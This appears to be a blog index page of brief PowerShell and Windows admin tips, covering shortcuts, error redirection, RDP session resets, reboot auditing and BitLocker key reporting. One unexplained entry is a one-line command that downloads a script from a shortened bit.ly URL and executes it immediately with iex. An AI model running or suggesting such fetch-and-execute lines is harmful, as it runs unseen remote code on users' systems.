Here are a few PowerShell Keyboard Shortcuts to help you out. F7 will give list of recent commands in a popup (doesn’t work in ISE) Select the command to run it again F9 + number will load that command from F7 if you would like to modify it CTL +… Continue reading
This one keeps getting me and I thought if I wrote it down maybe .. just maybe next time I would remember. In your current session if you are searching for an Object .. A users mailbox in my case, and you are only getting results from one of the… Continue reading
I was tired of my co workers walking by my desk and commenting about all the “red” powershell errors scrolling up my screen. So instead of writing better code I used the simple command to put those errors in a text file instead of onscreen. For something like: Set-mailbox -identity… Continue reading
So yeah .. I like things to be neat and clean and having a single line command in powershell is the norm for a lot of people. Example: New-MailContact -DomainController $dc -Name $alias.ContactName -ExternalEmailAddress $alias.ExternalEmailAddress -Alias $alias.ContactAlias -FirstName $alias.FirstName -Initials ” -LastName $alias.LastName -OrganizationalUnit $OU But like stated I like… Continue reading
You can kill RDP sessions at the command line when you find that all the RDP sessions to a server are tied up. regsvr32 query.dll [enter] You only have to do this the first time. query session /server:servername [enter] reset session # /server:servername [enter]
Not sure I will ever need to use this again, but needed a way to check who last rebooted a server. We used this code: Get-EventLog -logname “system” | where-object {($_.eventid -eq 1074)} | % {if(($_.TimeGenerated).DayOfYear -eq (get-date).DayOfYear){$_.EventID,$_.TimeGenerated,$_.Message}} Note that event ID 1074 gives you if a user requested a… Continue reading
iex (New-Object Net.WebClient).DownloadString(“http://bit.ly/e0Mw9w “)
So in the last post <here> I created a CSV file for all the domain computers that had a Bitlocker key assigned to it. Going with the work smarter not harder mantra this post will take that CSV file and update a list on our sharepoint site so I can… Continue reading
We have been enabling Bitlocker using the MS Script which updates AD with the Key and Owner Information. In an effort to see which machines have been bitlockered I was asked to come up with an process to do this. Being a sys admin ofcourse I looked for an automated… Continue reading